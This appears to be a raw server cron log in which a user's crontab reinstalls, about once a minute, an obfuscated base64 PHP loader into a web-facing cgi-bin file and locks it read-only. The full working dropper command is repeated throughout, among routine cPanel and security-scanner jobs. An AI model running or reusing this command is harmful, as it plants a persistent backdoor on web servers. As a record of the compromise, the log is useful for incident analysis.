Sep  5 17:21:01 server CROND[19330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:21:01 server CROND[19331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:22:01 server CROND[19695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:22:01 server CROND[19697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:22:01 server CROND[19696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:23:01 server CROND[20071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:23:01 server CROND[20072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:23:01 server CROND[20073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:24:01 server CROND[20434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:24:01 server CROND[20435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:24:01 server CROND[20433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:25:01 server CROND[20816]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:25:01 server CROND[20815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:25:01 server CROND[20819]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:25:01 server CROND[20818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:25:01 server CROND[20820]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:25:01 server CROND[20817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:25:01 server CROND[20821]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:26:01 server CROND[21646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:26:01 server CROND[21647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:26:01 server CROND[21645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:27:01 server CROND[22118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:27:01 server CROND[22119]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:27:01 server CROND[22120]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:27:01 server CROND[22121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:28:01 server CROND[22503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:28:01 server CROND[22504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:28:01 server CROND[22505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:29:01 server CROND[23045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:29:01 server CROND[23051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:29:01 server CROND[23052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:30:01 server CROND[23429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:30:01 server CROND[23431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:30:01 server CROND[23433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:30:01 server CROND[23435]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:30:01 server CROND[23434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:30:01 server CROND[23436]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:30:01 server CROND[23432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:30:01 server CROND[23437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:31:01 server CROND[24257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:31:01 server CROND[24259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:31:01 server CROND[24258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:32:01 server CROND[24718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:32:01 server CROND[24719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:32:01 server CROND[24721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:33:02 server CROND[25093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:33:02 server CROND[25094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:33:02 server CROND[25096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:34:01 server CROND[25462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
